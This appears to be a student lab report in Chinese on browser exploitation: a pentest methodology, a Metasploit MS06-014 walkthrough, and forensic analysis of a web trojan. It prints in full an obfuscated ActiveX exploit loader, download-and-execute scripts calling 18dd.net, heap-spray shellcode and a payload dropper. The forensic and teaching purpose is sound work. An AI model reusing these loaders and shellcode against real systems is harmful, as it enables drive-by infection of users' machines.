1.实验内容
web浏览器渗透攻击
取证分析实践—网页木马攻击场景分析
攻防对抗实践—web浏览器渗透攻击攻防
现代 Web 浏览器的基本结构与机理
渗透测试与入侵的区别
渗透测试:以安全为基本原则,通过攻击者以及防御者的角度去分析目标所存在的安全隐患以及脆弱性,以保护系统安全为最终目标。
入侵:通过各种方法,甚至破坏性的操作,来获取系统权限以及各种敏感信息。
在开始介绍渗透流程之前,小编先给大家安利一下掌控安全学院的渗透测试训练营哟,2分钱3天实战直播,还配套助教老师答疑,感兴趣的同学不要错过啦!!
一般渗透测试流程
- 明确目标
l 确定范围:测试目标的范围、ip、域名、内外网、测试账户。
l 确定规则:能渗透到什么程度,所需要的时间、能否修改上传、能否提权、等等。
l 确定需求:web应用的漏洞、业务逻辑漏洞、人员权限管理漏洞、等等。
- 信息收集、
l 方式:主动扫描,开放搜索等。
l 开放搜索:利用搜索引擎获得:后台、未授权页面、敏感url、等等。
l 基础信息:IP、网段、域名、端口。
l 应用信息:各端口的应用。例如web应用、邮件应用、等等。
l 系统信息:操作系统版本
l 版本信息:所有这些探测到的东西的版本。
l 服务信息:中间件的各类信息,插件信息。
l 人员信息:域名注册人员信息,web应用中发帖人的id,管理员姓名等。
l 防护信息:试着看能否探测到防护设备。
- 漏洞探测
利用上一步中列出的各种系统,应用等使用相应的漏洞。
方法:
(1) 漏扫,awvs,IBM appscan等。
(2) 结合漏洞去exploit-db等位置找利用。
(3) 在网上寻找验证poc。
内容:
l 系统漏洞:系统没有及时打补丁
l WebSever漏洞:WebSever配置问题
l Web应用漏洞:Web应用开发问题
l 其它端口服务漏洞:各种21/8080(st2)/7001/22/3389
l 通信安全:明文传输,token在cookie中传送等。
- 漏洞验证
将上一步中发现的有可能可以成功利用的全部漏洞都验证一遍。结合实际情况,搭建模拟环境进行试验。成功后再应用于目标中。
l 自动化验证:结合自动化扫描工具提供的结果
l 手工验证,根据公开资源进行验证
l 试验验证:自己搭建模拟环境进行验证
l 登陆猜解:有时可以尝试猜解一下登陆口的账号密码等信息
l 业务漏洞验证:如发现业务漏洞,要进行验证
公开资源的利用
l exploit-db/wooyun/
l google hacking
l 渗透代码网站
l 通用、缺省口令
l 厂商的漏洞警告等等。
- 信息分析
为下一步实施渗透做准备。
l 精准打击:准备好上一步探测到的漏洞的exp,用来精准打击
l 绕过防御机制:是否有防火墙等设备,如何绕过
l 定制攻击路径:最佳工具路径,根据薄弱入口,高内网权限位置,最终目标
l 绕过检测机制:是否有检测机制,流量监控,杀毒软件,恶意代码检测等(免杀)
l 攻击代码:经过试验得来的代码,包括不限于xss代码,sql注入语句等
- 获取所需
实施攻击:根据前几步的结果,进行攻击
l 获取内部信息:基础设施(网络连接,路由,拓扑等)
l 进一步渗透:内网入侵,敏感目标
l 持续性存在:一般我们对客户做渗透不需要。rookit,后门,添加管理账号,驻扎手法等
l 清理痕迹:清理相关日志(访问,操作),上传文件等
- 信息整理
l 整理渗透工具:整理渗透过程中用到的代码,poc,exp等
l 整理收集信息:整理渗透过程中收集到的一切信息
l 整理漏洞信息:整理渗透过程中遇到的各种漏洞,各种脆弱位置信息
- 形成报告
l 按需整理:按照之前第一步跟客户确定好的范围,需求来整理资料,并将资料形成报告
l 补充介绍:要对漏洞成因,验证过程和带来危害进行分析
l 修补建议:当然要对所有产生的问题提出合理高效安全的解决办法
流程总结
2.实验过程
2.1 web浏览器渗透攻击
首先在 kali 中打开Metasploit msfconsole
搜索MS06-014渗透攻击模块
使用漏洞:use exploit/windows/browser/ie_createobject
根据show options的结果:设置参数
在靶机内登录该url
获得了shell,成功执行命令
2.2 取证分析实践—网页木马攻击场景分析
实践过程:
首先你应该访问start.html,在这个文件中给出了new09.htm的地址,
在进入 htm 后,每解密出一个文件地址,请对其作 32 位 MD5 散列,以散列值为文件名到 http://192.168.68.253/scom/hashed/哈希值下去下载对应的文件(注意:文件名中的英文字母为小写,且没有扩展名),即为解密出的地址对应的文件。
如果解密出的地址给出的是网页或脚本文件,请继续解密。
如果解密出的地址是二进制程序文件,请进行静态反汇编或动态调试。
重复以上过程直到这些文件被全部分析完成。
根据文件中的代码:t=utf8to16(xxtea_decrypt(base64decode(t), ‘\x73\x63\x72\x69\x70\x74’)),发现这个文件使用了XXTEA+Base64的加密方法,其中第二个参数是密钥。
查看源码,进行追踪:
new09.htm进行审计
进行hash
查看另一个
打开进行审计
看到关键代码
解一下
把t解密一下(http://www.atoolbox.net/Tool.php?Id=1090)
<script>
eval("\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x69\x6e\x69\x74\x28\x29\x7b\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x29\x3b\x7d\x0d\x0a\x77\x69\x6e\x64\x6f\x77\x2e\x6f\x6e\x6c\x6f\x61\x64\x20\x3d\x20\x69\x6e\x69\x74\x3b\x0d\x0a\x69\x66\x28\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x6f\x6f\x6b\x69\x65\x2e\x69\x6e\x64\x65\x78\x4f\x66\x28\x27\x4f\x4b\x27\x29\x3d\x3d\x2d\x31\x29\x7b\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x65\x3b\x0d\x0a\x76\x61\x72\x20\x61\x64\x6f\x3d\x28\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74\x28\x22\x6f\x62\x6a\x65\x63\x74\x22\x29\x29\x3b\x0d\x0a\x61\x64\x6f\x2e\x73\x65\x74\x41\x74\x74\x72\x69\x62\x75\x74\x65\x28\x22\x63\x6c\x61\x73\x73\x69\x64\x22\x2c\x22\x63\x6c\x73\x69\x64\x3a\x42\x44\x39\x36\x43\x35\x35\x36\x2d\x36\x35\x41\x33\x2d\x31\x31\x44\x30\x2d\x39\x38\x33\x41\x2d\x30\x30\x43\x30\x34\x46\x43\x32\x39\x45\x33\x36\x22\x29\x3b\x0d\x0a\x76\x61\x72\x20\x61\x73\x3d\x61\x64\x6f\x2e\x63\x72\x65\x61\x74\x65\x6f\x62\x6a\x65\x63\x74\x28\x22\x41\x64\x6f\x64\x62\x2e\x53\x74\x72\x65\x61\x6d\x22\x2c\x22\x22\x29\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x65\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x0d\x0a\x76\x61\x72\x20\x65\x78\x70\x69\x72\x65\x73\x3d\x6e\x65\x77\x20\x44\x61\x74\x65\x28\x29\x3b\x0d\x0a\x65\x78\x70\x69\x72\x65\x73\x2e\x73\x65\x74\x54\x69\x6d\x65\x28\x65\x78\x70\x69\x72\x65\x73\x2e\x67\x65\x74\x54\x69\x6d\x65\x28\x29\x2b\x32\x34\x2a\x36\x30\x2a\x36\x30\x2a\x31\x30\x30\x30\x29\x3b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x6f\x6f\x6b\x69\x65\x3d\x27\x63\x65\x3d\x77\x69\x6e\x64\x6f\x77\x73\x78\x70\x3b\x70\x61\x74\x68\x3d\x2f\x3b\x65\x78\x70\x69\x72\x65\x73\x3d\x27\x2b\x65\x78\x70\x69\x72\x65\x73\x2e\x74\x6f\x47\x4d\x54\x53\x74\x72\x69\x6e\x67\x28\x29\x3b\x0d\x0a\x69\x66\x28\x65\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x68\x74\x74\x70\x3a\x5c\x2f\x5c\x2f\x61\x61\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x5c\x2f\x61\x61\x5c\x2f\x31\x2e\x6a\x73\x3e\x3c\x5c\x2f\x73\x63\x72\x69\x70\x74\x3e\x22\x29\x7d\x0d\x0a\x65\x6c\x73\x65\x7b\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x66\x3b\x76\x61\x72\x20\x73\x74\x6f\x72\x6d\x3d\x6e\x65\x77\x20\x41\x63\x74\x69\x76\x65\x58\x4f\x62\x6a\x65\x63\x74\x28\x22\x4d\x50\x53\x2e\x53\x74\x6f\x72\x6d\x50\x6c\x61\x79\x65\x72\x22\x29\x3b\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x66\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x69\x66\x28\x66\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x68\x74\x74\x70\x3a\x5c\x2f\x5c\x2f\x61\x61\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x5c\x2f\x61\x61\x5c\x2f\x62\x2e\x6a\x73\x3e\x3c\x5c\x2f\x73\x63\x72\x69\x70\x74\x3e\x22\x29\x7d\x7d\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x67\x3b\x76\x61\x72\x20\x70\x70\x73\x3d\x6e\x65\x77\x20\x41\x63\x74\x69\x76\x65\x58\x4f\x62\x6a\x65\x63\x74\x28\x22\x50\x4f\x57\x45\x52\x50\x4c\x41\x59\x45\x52\x2e\x50\x6f\x77\x65\x72\x50\x6c\x61\x79\x65\x72\x43\x74\x72\x6c\x2e\x31\x22\x29\x3b\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x67\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x69\x66\x28\x67\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x68\x74\x74\x70\x3a\x5c\x2f\x5c\x2f\x61\x61\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x5c\x2f\x61\x61\x5c\x2f\x70\x70\x73\x2e\x6a\x73\x3e\x3c\x5c\x2f\x73\x63\x72\x69\x70\x74\x3e\x22\x29\x7d\x7d\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x68\x3b\x76\x61\x72\x20\x6f\x62\x6a\x3d\x6e\x65\x77\x20\x41\x63\x74\x69\x76\x65\x58\x4f\x62\x6a\x65\x63\x74\x28\x22\x42\x61\x69\x64\x75\x42\x61\x72\x2e\x54\x6f\x6f\x6c\x22\x29\x3b\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x68\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x69\x66\x28\x68\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x6f\x62\x6a\x2e\x44\x6c\x6f\x61\x64\x44\x53\x28\x22\x68\x74\x74\x70\x3a\x2f\x2f\x64\x6f\x77\x6e\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x2f\x62\x62\x2f\x62\x64\x2e\x63\x61\x62\x22\x2c\x20\x22\x62\x64\x2e\x65\x78\x65\x22\x2c\x20\x30\x29\x7d\x7d\x0d\x0a\x7d\x7d\x7d")
</script>
转化一下
function init(){document.write();}
window.onload = init;
if(document.cookie.indexOf('OK')==-1){
try{var e;
var ado=(document.createElement("object"));
ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
var as=ado.createobject("Adodb.Stream","")}
catch(e){};
finally{
var expires=new Date();
expires.setTime(expires.getTime()+24*60*60*1000);
document.cookie='ce=windowsxp;path=/;expires='+expires.toGMTString();
if(e!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/1.js><\/script>")}
else{
try{var f;var storm=new ActiveXObject("MPS.StormPlayer");}
catch(f){};
finally{if(f!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/b.js><\/script>")}}
try{var g;var pps=new ActiveXObject("POWERPLAYER.PowerPlayerCtrl.1");}
catch(g){};
finally{if(g!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/pps.js><\/script>")}}
try{var h;var obj=new ActiveXObject("BaiduBar.Tool");}
catch(h){};
finally{if(h!="[object Error]"){
obj.DloadDS("http://down.18dd.net/bb/bd.cab", "bd.exe", 0)}}
}}}
可以看到这个文件利用到的应用程序漏洞有“Adodb.Stream”、“MPS.StormPlayer”、POWERPLAYER.PowerPlayerCtrl.1”和“BaiduBar.Tool”,分别对应利用了微软数据库访问对象、暴风影音、PPStream 和百度搜霸的漏洞。这些都是现在网络用户使用非常频繁的软件。另外,这个文件还引用三个 js 文件和一个压缩包(bd.cab,解开后是 bd.exe)。之后,,分别计算“http://aa.18dd.net/aa/1.js”、“http://aa.18dd.net/aa/b.js”、“http://aa.18dd.net/aa/pps.js”和“http://down.18dd.net/bb/bd.cab” 的md5值:
文件 | MD5值 |
---|---|
http://aa.18dd.net/aa/1.js | 5d7e9058a857aa2abee820d5473c5fa4 |
http://aa.18dd.net/aa/b.js | 3870c28cc279d457746b3796a262f166 |
http://down.18dd.net/bb/bd.cab | 1c1d7b3539a617517c49eee4120783b2 |
http://aa.18dd.net/aa/pps.js | 5f0b8bf0385314dbe0e5ec95e6abedc2 |
分别进行审计
var url="http://down.18dd.net/bb/014.exe";try{var xml=ado.CreateObject("Microsoft.XMLHTTP","");xml.Open
("GET",url,0);xml.Send();as.type=1;as.open();as.write(xml.responseBody);path="..\\ntuser.com";as.savetofile(path,2);as.close
();var shell=ado.createobject("Shell.Application","");shell.ShellExecute("cmd.exe","/c "+path,"","open",0)}catch(e){}
该脚本下载了文件014.exe,然后利用系统漏洞调用cmd执行该程序,猜测该程序为恶意程序。
继续审计
感觉可以解密一下 https://matthewfl.com/unPacker.html 后半部分是一段 shellcode
var bigblock=unescape("%u9090%u9090");
var headersize=20;
var shellcode=unescape("%uf3e9%u0000"+"%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c"+"%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378"+"%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b"+"%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%ufcef"+"%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1"+"%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103"+"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904"+"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b"+"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e"+"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d"+"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320"+"%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344"+"%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc"+"%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0"+"%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab"+"%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f"+"%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574"+"%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e"+"%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00"+"%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c"+"%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54"+"%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u6662%u652e%u6578%u0000");
var slackspace=headersize+shellcode.length;
while(bigblock.length<slackspace)bigblock+=bigblock;
fillblock=bigblock.substring(0,slackspace);
block=bigblock.substring(0,bigblock.length-slackspace);
while(block.length+slackspace<0x40000)block=block+block+fillblock;
memory=new Array();
for(x=0;
x<300;
x++)memory[x]=block+shellcode;
var buffer='';
while(buffer.length<4068)buffer+="\x0a\x0a\x0a\x0a";
storm.rawParse(buffer)
审计下一个
/*%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" + "%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" + "%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" + "%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" + "%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u*/
pps = (document.createElement("object"));
pps.setAttribute("classid", "clsid:5EC7C511-CD0F-42E6-830C-1BD9882F3458")
var shellcode = unescape("%uf3e9%u0000" + "%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" + "%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" + "%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" + "%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%u04c7" + "%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" + "%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" + "%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" + "%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" + "%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" + "%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" + "%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" + "%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" + "%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" + "%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" + "%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" + "%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" + "%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" + "%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" + "%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" + "%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" + "%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" + "%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u62 2f%u2f62%u7070%u2e73%u7865%u0065");
var bigblock = unescape("%u9090%u9090");
var headersize = 20;
var slackspace = headersize + shellcode.length;
while (bigblock.length < slackspace) bigblock += bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length - slackspace);
while (block.length + slackspace < 0x40000) block = block + block + fillblock;
memory = new Array();
for (x = 0; x < 400; x++) memory[x] = block + shellcode;
var buffer = '';
while (buffer.length < 500) buffer += "\x0a\x0a\x0a\x0a";
pps.Logo = buffer
解码后
这也是 shellcode
采用同样的方式解密b.js文件;解密结果如下:
var bigblock = unescape("%u9090%u9090");
var headersize = 20;
var shellcode = unescape("%uf3e9%u0000" + "%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" + "%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" + "%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" + "%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%ufcef" + "%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" + "%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" + "%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" + "%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" + "%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" + "%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" + "%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" + "%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" + "%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" + "%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" + "%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" + "%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" + "%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" + "%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" + "%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" + "%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" + "%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" + "%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u6662%u652e%u6578%u0000");
var slackspace = headersize + shellcode.length;
while (bigblock.length < slackspace) bigblock += bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length - slackspace);
while (block.length + slackspace < 0x40000) block = block + block + fillblock;
memory = new Array();
for (x = 0; x < 300; x++) memory[x] = block + shellcode;
var buffer = '';
while (buffer.length < 4068) buffer += "
";
storm.rawParse(buffer)
同上一个解密方法一样,可以得到可执行文件http://down.18dd.net/bb/pps.exe
剩下最后一个进行审计
对四个exe进行MD5运算
查看可执行文件的加壳情况,发现是Delphi壳。
反编译看看
这应该是下载大量木马
从"goto try",“:try”,“Alletdel.bat”,"cmd /c date ",“cmd /c date 1981-01-12”,"del ",“del %0"等这些字符串中推断,这个程序可能生成一个叫"Alletdel.bat"的批处理文件,这个文件中有一个标签叫"try”,批处理文件会不断的执行这个标签下一行的命令,命令内容可能是判断文件存在性,更改系统日期,删除某些文件。
攻防对抗实践—web浏览器渗透攻击攻防
接着上述实验
查看源代码
可以看到中间使用了大量的空格、水平制表符和回车等,这样能够对关键指令做字符串拼接处理,防止被杀毒软件发现
使用工具将空格(0x20)、水平制表符(0x09)和回车(0x0a、0x0d)等删掉:
<html>
<head>
<title></title>
<script language="javascript">function yMDzCNrApxQKqmmRKz(o, n) {
var r = null;
try {
eval("r=o.CreateObject(n)")
} catch(e) {}
if (!r) {
try {
eval("r=o.CreateObject(n,'')")
} catch(e) {}
}
if (!r) {
try {
eval("r=o.CreateObject(n,'','')")
} catch(e) {}
}
if (!r) {
try {
eval("r=o.GetObject('',n)")
} catch(e) {}
}
if (!r) {
try {
eval("r=o.GetObject(n,'')")
} catch(e) {}
}
if (!r) {
try {
eval("r=o.GetObject(n)")
} catch(e) {}
}
return (r)
}
function OlFuUSAXr(a) {
var s = yMDzCNrApxQKqmmRKz(a, "WScript.Shell");
var o = yMDzCNrApxQKqmmRKz(a, "ADODB.Stream");
var e = s.Environment("Process");
var url = document.location + '/payload';
var xml = null;
var bin = e.Item("TEMP") + "\\ghoNp0de.exe";
var dat;
try {
xml = new XMLHttpRequest()
} catch(e) {
try {
xml = new ActiveXObject("Microsoft.XMLHTTP")
} catch(e) {
xml = new ActiveXObject("MSXML2.ServerXMLHTTP")
}
}
if (!xml) {
return (0)
}
xml.open("GET", url, false);
xml.send(null);
dat = xml.responseBody;
o.Type = 1;
o.Mode = 3;
o.Open();
o.Write(dat);
o.SaveToFile(bin, 2);
s.Run(bin, 0)
}
function NaRLRXr() {
var i = 0;
var t = new Array('{BD96C556-65A3-11D0-983A-00C04FC29E36}', '{BD96C556-65A3-11D0-983A-00C04FC29E30}', '{7F5B7F63-F06F-4331-8A26-339E03C0AE3D}', '{6e32070a-766d-4ee6-879c-dc1fa91d2fc3}', '{6414512B-B978-451D-A0D8-FCFDF33E833C}', '{06723E09-F4C2-43c8-8358-09FCD1DB0766}', '{639F725F-1B2D-4831-A9FD-874847682010}', '{BA018599-1DB3-44f9-83B4-461454C84BF8}', '{D0C07D56-7C69-43F1-B4A0-25F5A11FAB19}', '{E8CCCDDF-CA28-496b-B050-6C07C962476B}', '{AB9BCEDD-EC7E-47E1-9322-D4A210617116}', '{0006F033-0000-0000-C000-000000000046}', '{0006F03A-0000-0000-C000-000000000046}', null);
while (t[i]) {
var a = null;
if (t[i].substring(0, 1) == '{') {
a = document.createElement("object");
a.setAttribute("classid", "clsid:" + t[i].substring(1, t[i].length - 1))
} else {
try {
a = new ActiveXObject(t[i])
} catch(e) {}
}
if (a) {
try {
var b = yMDzCNrApxQKqmmRKz(a, "WScript.Shell");
if (b) {
OLFuUSAXr(a);
return (0)
}
} catch(e) {}
}
i++
}
}</script>
</head>
<body onload='NaRLRXr()'>TcJQgRQRXVQpKUkCapJCJZ</body></html>
查看代码可以看到代码首先调用了document.location运行攻击载荷,并且附加了可执行文件 ghoNp0de.exe,这个可执行文件首先会下载到靶机上,完成后会自动运行在靶机的后台,这个文件的名字每次都会改变,进而防止杀毒软件的查杀。
3.学习中遇到的问题及解决
问题1:进行实验一时,打不进去
问题1解决方案:有个参数忘记设置了
4、实践总结
本次实践动手实现了web浏览器渗透攻击,网页木马的分析取证,对msf的使用,进行了加深